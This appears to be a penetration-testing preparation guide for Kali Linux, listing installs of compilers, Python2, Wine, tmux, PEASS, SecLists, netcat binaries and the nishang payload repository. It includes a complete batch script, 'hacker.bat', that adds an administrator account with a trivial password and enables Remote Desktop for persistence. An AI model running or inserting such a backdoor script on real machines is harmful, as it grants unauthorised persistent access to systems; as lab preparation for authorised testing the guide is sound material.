00 - Kali Linux Preparation

This is the guide to setup your Kali Linux for helping pen-test process

Compiler & Interpreter

GCC

# gcc linux


# gcc windows for kali linux
sudo apt install gcc-mingw-w64

# if your kali machine 64-bit 
sudo apt install gcc-multilib g++-multilib
sudo apt-get install libc6-dev:i386 gcc:i386

sudo apt-get install g++-multilib libc6-dev-i386

Python2 & Python3

python2 --version

python --version
python3 --version

# install

sudo apt install python2

Pip2 & Pip3

If your Kali Linux have not pip2 just install with this documentation:

https://pip.pypa.io/en/latest/installation/

# download get-pip.py
https://bootstrap.pypa.io/pip/2.7/get-pip.py

# run get-pip
sudo python2 get-pip.py

Important Program

Wine

sudo apt install wine

tmux

https://tmuxcheatsheet.com/

sudo apt instal tmux

PEASS (LinPEAS & WinPEAS)

sudo apt install peass

Resource to Upload

Linux

LinEnum.sh

Windows

sudo apt install windows-binaries

# nc.exe and etc
windows-binaries

Persistence bat

save to hacker.bat


:: This program need Administrator permission
:: Add User to Administrator and enables RDP

@ECHO OFF

TITLE Add user
ECHO Adding user ...
net user hacker password /add
net localgroup Administrator hacker /add
net localgroup "Remote Desktop Users" hacker /add
ECHO Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO =======================
ECHO User Added
ECHO =======================
net users

Web Preparation

Wordlist

SecList Wordlist (1.51 GB)

sudo apt install seclists
cp -r /usr/share/seclists /usr/share/wordlists/SecLists

Script

# nishang payload
git clone https://github.com/samratashok/nishang.git

Tmux Preparation

save this file to ~/.tmux.conf to help while copy paste in the tmux pane.

setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-selection

run this command:

tmux source ~/.tmux.conf

note for tmux copy and paste:

ctrl + [ -> enter vi mode / copy mode

space -> enter the copy block mode

enter -> copy the selection

ctrl + ] -> paste

Last updated